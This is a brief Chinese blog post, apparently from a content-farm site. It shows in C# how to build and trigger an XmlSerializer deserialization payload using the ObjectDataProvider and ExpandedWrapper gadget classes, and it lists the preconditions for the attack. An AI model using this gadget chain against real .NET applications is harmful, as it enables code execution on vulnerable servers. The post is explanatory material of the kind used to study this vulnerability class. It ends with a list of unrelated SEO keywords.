.Net反序列化漏洞XmlSerializer的示例分析
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,小编今天带大家了解.Net反序列化漏洞XmlSerializer的示例分析,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案
千家信息网最后更新 2025年12月01日.Net反序列化漏洞XmlSerializer的示例分析
小编今天带大家了解.Net反序列化漏洞XmlSerializer的示例分析,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入学习".Net反序列化漏洞XmlSerializer的示例分析"的知识吧。
条件:
初始化对象时,类型可控:new XmlSerializer(type可控)
反序列化对象时,输入内容可控:serializer.Deserialize(fi可控)
两个关键类:ObjectDataProvider, ExpandedWrapper
//PresentationFramework.dll v4.0.0.0System.Windows.Data.ObjectDataProvider//System.Data.Services.dll v4.0.0.0System.Data.Services.Internal.ExpandedWrapper
Payload生成:
public static void serializeObjectWithXmlSer() { ExpandedWrapper eobj = new ExpandedWrapper(); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper)); eobj.ProjectedProperty0 = new ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new Class2(); eobj.ProjectedProperty0.MethodName = "writeFile"; eobj.ProjectedProperty0.MethodParameters.Add("xxxxx"); eobj.ProjectedProperty0.MethodParameters.Add("ser.txt"); TextWriter fo = new StreamWriter("d:/tmp/xmlser.txt"); serializer.Serialize(fo, eobj); fo.Close(); } 触发Payload:
public static void deserializeObjectWithXmlSer() { XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper)); TextReader fi = new StreamReader("d:/tmp/xmlser.txt"); ser.Deserialize(fi); fi.Close(); } 感谢大家的阅读,以上就是".Net反序列化漏洞XmlSerializer的示例分析"的全部内容了,学会的朋友赶紧操作起来吧。相信小编一定会给大家带来更优质的文章。谢谢大家对网站的支持!
序列
漏洞
示例
分析
内容
朋友
对象
文章
知识
跟着
问题
帮助
两个
关键
就是
更多
条件
来吧
知识点
答案
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
优米互联网络科技邀体验游戏
河南飞普网络技术
如何贯彻国家网络安全法
数据库实验一
杭州十秒互联网科技有限公司
建立术语数据库的一般原则与方法
清道夫网络安全吗
如何衡量网络安全
学软件开发需要哪些条件
db2 查看数据库字符集
空调软件开发用什么语言
软件开发出来是卡磁带光盘吗
tbc服务器排队方法
string数据库加载不出来
工业网络技术的特点
no数据库
服务器的批量测试
学校网络安全教育培训
发酵罐设计软件开发
软件开发报价大全图片
服务器硬件维修方案
如何维护国家安全网络安全
数据库 维护
网络安全对儿童有什么影响
阿里云服务器换配置要备案吗
爬虫股价数据库表设计
黑龙江软件开发费用依据
传屏软件开发
北京影时光网络技术
sql取数据库的重复数